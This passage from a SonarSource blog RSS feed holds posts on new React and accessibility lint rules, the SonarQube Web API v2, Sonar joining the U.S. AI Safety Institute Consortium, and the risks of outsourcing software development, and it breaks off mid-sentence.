&lt;code&gt;class&lt;/code&gt; instead of &lt;a href=&quot;https://react.dev/reference/react-dom/components/common#applying-css-styles&quot;&gt;&lt;code&gt;className&lt;/code&gt;&lt;/a&gt;, and I only discover it when my class name is not applied to the element I&amp;#x27;m working with. The rule that &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6747/&quot;&gt;JSX elements should not use unknown properties and attributes&lt;/a&gt; catches this, and SonarLint lets me know immediately that I&amp;#x27;ve picked the wrong property name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The full list of 16 new JavaScript rules to help us avoid these bad practices is:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6746/&quot;&gt;In React &lt;code&gt;this.state&lt;/code&gt; should not be mutated directly&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6747/&quot;&gt;JSX elements should not use unknown properties and attributes&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6748/&quot;&gt;React &lt;code&gt;children&lt;/code&gt; should not be passed as prop&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6749/&quot;&gt;Redundant React fragments should be removed&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6750/&quot;&gt;The return value of &lt;code&gt;ReactDOM.render&lt;/code&gt; should not be used&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6754/&quot;&gt;The return value of &lt;code&gt;useState&lt;/code&gt; should be destructured and named symmetrically&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6756/&quot;&gt;&lt;code&gt;setState&lt;/code&gt; should use a callback when referencing the previous state&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6757/&quot;&gt;&lt;code&gt;this&lt;/code&gt; should not be used in functional components&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6761/&quot;&gt;&lt;code&gt;children&lt;/code&gt; and &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; should not be used together&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6763/&quot;&gt;&lt;code&gt;shouldComponentUpdate&lt;/code&gt; should not be defined when extending &lt;code&gt;React.PureComponent&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6766/&quot;&gt;JSX special characters should be escaped&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6767/&quot;&gt;Unused React typed props should be removed&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6770/&quot;&gt;User-defined JSX components should use Pascal case&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6772/&quot;&gt;Spacing between inline elements should be explicit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6774/&quot;&gt;React components should validate prop types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6775/&quot;&gt;All &lt;code&gt;defaultProps&lt;/code&gt; should have non-required PropTypes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And there&amp;#x27;s one TypeScript-only rule that helps ensure that you can&amp;#x27;t mutate props in a child component, avoiding unpredictable behaviour.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6759/&quot;&gt;React props should be read-only&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Accessibility&lt;/h2&gt;&lt;p&gt;Ensuring that your application is accessible is enormously important. Building an application that is accessible means that it allows everyone to fully use it, regardless of their abilities. In fact, accessible applications often benefit people without disabilities, too. For example, making sure apps are keyboard accessible helps those who can&amp;#x27;t use a mouse as well as those who just broke theirs. It is our &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#responsible&quot;&gt;responsibility&lt;/a&gt; to write code that will result in accessible applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Getting accessibility right can be difficult when building highly interactive applications, so any automation to help guide you is invaluable. This can be something like reminding you that &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1082/&quot;&gt;elements that have mouse events should also respond to keyboard events&lt;/a&gt; or that you should &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6819/&quot;&gt;implement buttons with the &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; element and not a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The complete list of new and updated rules to help you achieve accessible applications is below:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1082/&quot;&gt;Mouse events should have corresponding keyboard events&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6793/&quot;&gt;ARIA properties in DOM elements should have valid values&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6807/&quot;&gt;DOM elements with ARIA roles should have the required properties&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6811/&quot;&gt;DOM elements with ARIA role should only have supported properties&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6819/&quot;&gt;Prefer tag over ARIA role&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6821/&quot;&gt;DOM elements with ARIA roles should have a valid non-abstract role&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6822/&quot;&gt;No redundant ARIA role&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6823/&quot;&gt;DOM elements with the &lt;code&gt;aria-activedescendant&lt;/code&gt; property should be accessible via the tab key&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6824/&quot;&gt;No ARIA role or property for unsupported DOM elements&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6825/&quot;&gt;Focusable elements should not have &lt;code&gt;aria-hidden&lt;/code&gt; attribute&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6827/&quot;&gt;Anchors should contain accessible content&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-1077/&quot;&gt;Image, area, button with image, and object elements should have an alternative text&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6840/&quot;&gt;DOM elements should use the &lt;code&gt;autocomplete&lt;/code&gt; attribute correctly&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6841/&quot;&gt;&lt;code&gt;tabIndex&lt;/code&gt; values should be 0 or -1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6842/&quot;&gt;Non-interactive DOM elements should not have interactive ARIA roles&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6843/&quot;&gt;Interactive DOM elements should not have non-interactive ARIA roles&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6844/&quot;&gt;Anchor tags should not be used as buttons&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6845/&quot;&gt;Non-interactive DOM elements should not have the &lt;code&gt;tabIndex&lt;/code&gt; property&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6846/&quot;&gt;DOM elements should not use the &lt;code&gt;accesskey&lt;/code&gt; property&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6847/&quot;&gt;Non-interactive elements shouldn&amp;#x27;t have event handlers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6848/&quot;&gt;Non-interactive DOM elements should not have an interactive handler&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6849/&quot;&gt;HTML elements should have a valid language attribute&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6850/&quot;&gt;Header elements should have accessible content&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6851/&quot;&gt;Images should have a non-redundant alternate description&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6852/&quot;&gt;Elements with an interactive role should support focus&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6853/&quot;&gt;Label elements should have a text label and an associated control&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6854/&quot;&gt;iFrames must have a title&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6855/&quot;&gt;Media elements should have captions&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is impossible to catch all accessibility issues at the code level, though the above rules certainly help. You can also run tools like &lt;a href=&quot;https://github.com/dequelabs/axe-core&quot;&gt;axe-core&lt;/a&gt; and &lt;a href=&quot;https://pa11y.org/&quot;&gt;Pa11y&lt;/a&gt; against your rendered application to help detect issues at runtime, as well as implement manual testing.&lt;/p&gt;&lt;h2&gt;Clean Code in React&lt;/h2&gt;&lt;p&gt;With this collection of new rules, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; are all set up to help you write consistent, intentional, adaptable and responsible code in your React applications. Check out all the other &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-4/&quot;&gt;updates in the latest version of SonarQube 10.4 here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;re not already using SonarQube to scan your React projects, you can &lt;a href=&quot;https://www.sonarsource.com/open-source-editions/sonarqube-community-edition/&quot;&gt;get started with the community edition&lt;/a&gt; or &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;install SonarLint&lt;/a&gt; to see recommendations in your editor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[New Web API V2]]></title><description><![CDATA[We are modernizing our Web API. In this post, Aurélien Poscia explains how and why.]]></description><link>https://www.sonarsource.com/blog/new-web-api-v2</link><guid isPermaLink="false">174ecf79-ba6b-59ce-be70-d621d5db0959</guid><dc:creator><![CDATA[Aurélien Poscia]]></dc:creator><pubDate>Thu, 08 Feb 2024 19:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why a new API?&lt;/h2&gt;&lt;p&gt;SonarQube can be accessed through its graphical user interface or Web API. The Web API facilitates task automation and can be used to simplify integration of SonarQube with your ecosystem.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube’s Web API has served our users well for over a decade. Nevertheless, as time passed, it started to show some limitations and consistency issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Most Significant Pain Points of the Web API V1&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Naming&lt;/strong&gt; Identifiers of different endpoints, objects, parameters, and response body elements are partially inconsistent. We sometimes use different names for the same data in other API locations.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Source of truth&lt;/strong&gt; Sometimes data is duplicated on several endpoints. There is no authoritative truth.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Optimized for GUI&lt;/strong&gt; The API endpoints were often designed and optimized for the needs of the graphical user interface. Unfortunately, they often do not match programmatic access requirements.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;HTTP codes&lt;/strong&gt; HTTP response and error codes are not used consistently throughout the API.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;HTTP verbs&lt;/strong&gt; Endpoints only use GET and POST.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All those factors negatively impact the discoverability of our API. Additionally, as the API follows an RPC style and no specific HTTP guidelines, it is difficult for third-party tools and users to interact with it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Internally, the current API relies on an in-house framework. This framework has technical limitations, such as missing support for path parameters. It is costly to maintain, and endpoint declarations are excessively verbose. Last but not least, as the implementation is custom, it is less battle-tested. Consequently, the Sonar team wants to migrate away from the internal framework in favor of a widely used technology.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For all those users and technical-driven considerations, we decided to gradually retire the current API, in favor of a brand new API: The Web API v2.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;The new Web API&lt;/h2&gt;&lt;p&gt;With SonarQube 10.4, the first endpoints of the new Web API v2 were made public.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The API v2 will comply with the extensively adopted REST software architectural style to ease its discoverability. We are targeting REST maturity level 2 of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Richardson_Maturity_Model&quot;&gt;Richardson REST maturity level&lt;/a&gt;. Targeting level 2 allows us to rapidly deliver endpoints while providing the most descriptive contract allowed by REST and the HTTP protocol. As this wouldn&amp;#x27;t necessitate a backward-incompatible change at the contract level, we keep the possibility open to embrace HATEOAS (level 3) if there is traction. Supporting HATEOAS would improve the programmatic discovery of the API.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The API v2 comes with its dedicated &lt;a href=&quot;https://next.sonarqube.com/sonarqube/web_api_v2&quot;&gt;documentation&lt;/a&gt;. On top of that, the contract is described following the &lt;a href=&quot;https://spec.openapis.org/oas/latest.html&quot;&gt;OpenAPI specification&lt;/a&gt;. OpenAPI is a broadly adopted standard to document REST API contracts. It will help users auto-generate clients for different programming languages. Tools like &lt;a href=&quot;https://swagger.io/&quot;&gt;Swagger&lt;/a&gt; can also consume the OpenAPI schema to auto-generate documentation and a graphical user interface to try out the API.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Following the REST guidelines, each endpoint of the API v2 will serve a specific &lt;em&gt;resource&lt;/em&gt; and expose relevant HTTP verbs (GET/POST/PATCH and DELETE). The media type for requests and responses will be JSON.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With common REST APIs, it is often a puzzle for the users to understand whether they should use PUT or PATCH to modify a resource. Therefore, they need to read each endpoint&amp;#x27;s documentation to find the answer. We decided to support only PATCH for resource modifications to facilitate the API discovery. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;PATCH allows partial and complete resource modifications, so it is more flexible than PUT. On the other hand, one of the main advantages of PUT is its requirement for idempotency. We decided to keep the best of both verbs and use PATCH with a constraint on idempotency  - unless specified otherwise. The requirement for idempotency is an important reason why we use the JSON Merge Patch format (as defined in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7396&quot;&gt;RFC-7396&lt;/a&gt;) to describe the request bodies sent to the PATCH endpoints.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Under the hood, the API v2&lt;em&gt; &lt;/em&gt;leverages the &lt;a href=&quot;https://docs.spring.io/spring-framework/reference/web/webmvc.html&quot;&gt;Spring WEB MVC framework&lt;/a&gt;. Although it may not be considered the trendiest framework, Spring WEB MVC is extensively used in the industry, offering a robust foundation built over years of development. Additionally, its wide usage ensures prompt resolution of any framework vulnerabilities that may arise. This enables us to concentrate our efforts on the business aspects of the application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Migration timeline and deprecation&lt;/h2&gt;&lt;p&gt;We want our users to benefit from the migrated endpoints as early as possible. For this reason, we plan to introduce API v2 endpoints gradually with each SonarQube release, opting for an incremental delivery approach rather than holding off until the entire migration to API v2 is complete. During this transition period, whenever we provide a new endpoint in the API v2&lt;em&gt;, &lt;/em&gt;we will deprecate its API v1 equivalent. The deprecated endpoints will follow the general SonarQube &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/extension-guide/web-api/#deprecation&quot;&gt;deprecation policy&lt;/a&gt;. In other words, if an endpoint is deprecated in 10.X, you can continue to use it until the 10.Y LTS and it will be dropped in the 11.0 version.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 10.4, we also introduced &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/monitoring/api-deprecation/&quot;&gt;Deprecation Logs&lt;/a&gt; to our product. These logs track all calls to deprecated endpoints, providing administrators with awareness to identify and migrate calls to the API v2 easily.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the latest SonarQube release, we deprecated 15 endpoints of the API v1 in favor of API v2&lt;em&gt; &lt;/em&gt;endpoints. We are currently targeting SonarQube version 11.X LTS for the complete set of endpoints to be available in Web API v2&lt;em&gt;.&lt;/em&gt; Please be mindful that this timeline is subject to change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;One API to rule them All…&lt;/h2&gt;&lt;p&gt;Another frequent need of our API consumers is interoperability between the Web APIs of SonarQube and SonarCloud. We are addressing this with the API v2, and we will ensure that both products comply with the same API contracts for their API v2 endpoints.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building the foundation for a strong AI future]]></title><description><![CDATA[Sonar is honored to participate in the newly established U.S. Artificial Intelligence Safety Institute Consortium (AISIC) effort and is excited to join other leaders at the forefront of AI development. ]]></description><link>https://www.sonarsource.com/blog/building-the-foundation-for-a-strong-ai-future</link><guid isPermaLink="false">dcc2f49d-e302-531c-bdad-935c4bed88c6</guid><dc:creator><![CDATA[Harry Wang]]></dc:creator><pubDate>Thu, 08 Feb 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI is changing the world around us at the speed of light  – the gulf between what was possible at the beginning of 2023 and at the end of the year demonstrates how quickly a technology can progress. As with any new technology, the new opportunities come with risks that have to be acknowledged and actively managed.  A robust framework for the responsible development and use of AI will ultimately lead to faster innovation and broader, safer adoption in our society.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This morning, the National Institute for Standards and Technology (NIST) at the U.S. Department of Commerce officially established the &lt;a href=&quot;https://www.commerce.gov/news/press-releases/2024/02/biden-harris-administration-announces-first-ever-consortium-dedicated&quot;&gt;U.S. Artificial Intelligence Safety Institute Consortium (AISIC)&lt;/a&gt;, which aims to support the creation of safe and trustworthy artificial intelligence (AI) systems. Sonar is honored to participate in this effort and excited to join other leaders at the forefront of AI development. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AISIC will bring together the largest collection of AI developers, users, researchers, and affected groups in the world. I believe that this step – made in coordination with the world’s leading technology companies and AI innovators – is a strong move toward establishing a sustainable foundation for the development of AI technologies. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the world’s leading &lt;a href=&quot;https://www.sonarsource.com/&quot;&gt;Clean Code company&lt;/a&gt;, we believe that ensuring the quality and security of software code must be a critical part of any comprehensive framework established to safeguard the responsible development and use of AI. The way we write code has already changed, with the majority of developers experimenting or using AI coding assistants. As many developers have experienced, and an &lt;a href=&quot;https://arxiv.org/pdf/2401.15963.pdf&quot;&gt;increasing volume of academic research has confirmed&lt;/a&gt;, code generated by AI often includes bugs and errors, and readability, maintainability, and security issues.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With AI, teams build and iterate quicker, and solve problems faster – they can now produce code, content, and collateral at a pace and cost that would have been completely unfathomable just a few years ago. For AI to reach its full potential and positively impact the lives of billions of people, we as a tech community must fulfill our societal responsibility to put in place a strong framework for how we build products and how we deliver services - one that helps identify and manage the risks involved, while creating space for innovation and experimentation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With more than 7 million developers using Sonar solutions (&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;), we [at Sonar] have the expertise to help address the unique challenges and risks associated with AI code generation in the software development lifecycle. This knowledge is particularly relevant in the context of AISIC&amp;#x27;s goal of developing a scalable and proven model for the safe development and use of AI. We look forward to collaborating with members of AISIC and other thought leaders to advance the development of responsible AI.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additional information about the Consortium can be found &lt;a href=&quot;https://www.federalregister.gov/documents/2023/11/02/2023-24216/artificial-intelligence-safety-institute-consortium&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 Risks of Outsourcing Software Development and How to Avoid Them]]></title><description><![CDATA[Outsourcing software development requires a clear understanding of the potential risks. In this blog, we discuss five risks of this widely adopted strategy and provide tactics to minimize risk in delivered software.]]></description><link>https://www.sonarsource.com/blog/5-risks-of-outsourcing-software-development-and-how-to-avoid-them</link><guid isPermaLink="false">fe481597-1466-520a-aa87-51f29a2a566c</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Wed, 07 Feb 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Outsourcing software development has witnessed a surge in popularity, offering organizations a strategic advantage by tapping into global talent pools. According to &lt;a href=&quot;https://www.precedenceresearch.com/it-services-outsourcing-market&quot;&gt;Precedence Research&lt;/a&gt;, the global IT outsourcing market is expected to grow to $1.149 billion by 2032. Outsourcing provides various benefits, including lower recruiting and onboarding costs, increased delivery speed, and filled talent gaps. It’s no wonder why the strategy is so popular.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, navigating the outsourcing landscape isn’t always easy and requires a keen awareness of the potential risks. In this blog, we&amp;#x27;ll discuss five critical risks of this widely adopted strategy and provide tactics to reduce risk in delivered software.&lt;/p&gt;&lt;h3&gt;Risk 1: Quality Assurance Concerns&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ensuring the quality of software is a constant concern, especially across different work environments, methodologies, and coding styles. Developers make mistakes, whether they’re in-house or externally sourced. It is estimated that software developers make &lt;a href=&quot;https://www.it-cisq.org/the-cost-of-poor-quality-software-in-the-us-a-2018-report/&quot;&gt;100 to 150 errors&lt;/a&gt; for every thousand lines of code. And when working with an outsourced team, controlling the quality of the code produced becomes even more difficult because they’re writing the code outside of the four theoretical walls of your organization. If the code is poor quality, it can lead to costly issues in production, increased &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;, missed deadlines, and poorly performing software, among other impacts.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Organizations can avoid quality assurance concerns by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Establishing a &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;robust quality assurance framework&lt;/a&gt; that defines clear standards for writing code &lt;/li&gt;&lt;li&gt;Adding static analysis to proactively and regularly scan the codebase for issues&lt;/li&gt;&lt;li&gt;Reinforcing code quality standards by using a mechanism in the SDLC (e.g. quality gates) so that only code that meets the standards is released&lt;/li&gt;&lt;li&gt;Leveraging testing processes, including unit tests, integration tests, and user acceptance testing&lt;/li&gt;&lt;li&gt;Conducting regular code reviews often to identify and address issues early in the development cycle&lt;/li&gt;&lt;li&gt;Investing in an automated tool that provides visibility into development activities and helps facilitate communication for improving code quality efforts&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A strong foundation built on clear standards presented through accessible tools and processes establishes expectations for outsourced teams and encourages a shared commitment to delivering a high-quality product. &lt;/p&gt;&lt;h3&gt;Risk 2: Data Security and Confidentiality&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Data security and confidentiality are top priorities; if left unchecked, they can have costly consequences. In fact, &lt;a href=&quot;https://www.ibm.com/reports/data-breach&quot;&gt;a report by IBM&lt;/a&gt; states that the average cost of a data breach is estimated to be $4.24 million. So, entrusting an outsourced team with your code and sensitive information can be scary because it opens a door to potential vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The nature of sharing proprietary code and confidential data with outsourced teams introduces challenges centered around protecting critical assets. Intellectual property, trade secrets, and any confidential practices that provide a competitive edge are at the forefront of these concerns. Additionally, mishandling or unauthorized access to user information can lead to legal ramifications and reputational damage. Potential vulnerabilities may arise from various sources, such as inadequate security protocols within the outsourced team, unintentional data leaks, or even malicious activities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To enhance data security and confidentiality with outsourced teams:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Give developers a SAST tool that integrates with their IDEs and your DevOps platform to proactively detect and remediate bugs and vulnerabilities&lt;/li&gt;&lt;li&gt;Leverage advanced SAST capabilities for uncovering hidden vulnerabilities (e.g. secrets), particularly in third-party open-source libraries&lt;/li&gt;&lt;li&gt;Implement encryption protocols for data in transit and at rest&lt;/li&gt;&lt;li&gt;Regularly conduct security audits and tap into reporting that provides insights into code compliance with industry standards (e.g. OWASP, CWE, HIPAA, and PCI, etc.)&lt;/li&gt;&lt;li&gt;Reinforce coding standards and distribute regular communication on the impact of issue remediation and writing high-quality code on the security of your software&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ensuring that outsourced teams have the tools and processes to protect sensitive information is crucial to the relationship&amp;#x27;s success. An emphasis on security can benefit both in-house and outsourced teams as they work together to deliver more reliable, high-performing software.&lt;/p&gt;&lt;h3&gt;Risk 3: Communication Challenges&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clear communication is paramount in software development, and outsourcing introduces unique challenges. The geographical and cultural distance can lead to a lack of shared context and understanding. Differences in languages and work practices can cause misinterpretations of requirements, expectations, or even project milestones. Plus, teams located in varying time zones can amplify misunderstandings. This asynchronous nature of work makes real-time collaboration difficult and can slow down communication, hinder issue resolution, and impact overall project efficiency.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To overcome these challenges:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Proactively communicate &lt;a href=&quot;https://www.sonarsource.com/learn/code-quality/&quot;&gt;code quality&lt;/a&gt; standards across teams and use tools to reinforce them in the development workflow&lt;/li&gt;&lt;li&gt;Schedule regular meetings to foster a sense of connection and alignment&lt;/li&gt;&lt;li&gt;Clearly define roles, responsibilities, and expectations for project scope &lt;/li&gt;&lt;li&gt;Leverage &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/project-administration/pdf-reports/&quot;&gt;reports&lt;/a&gt; to get a periodic, high-level overview of the 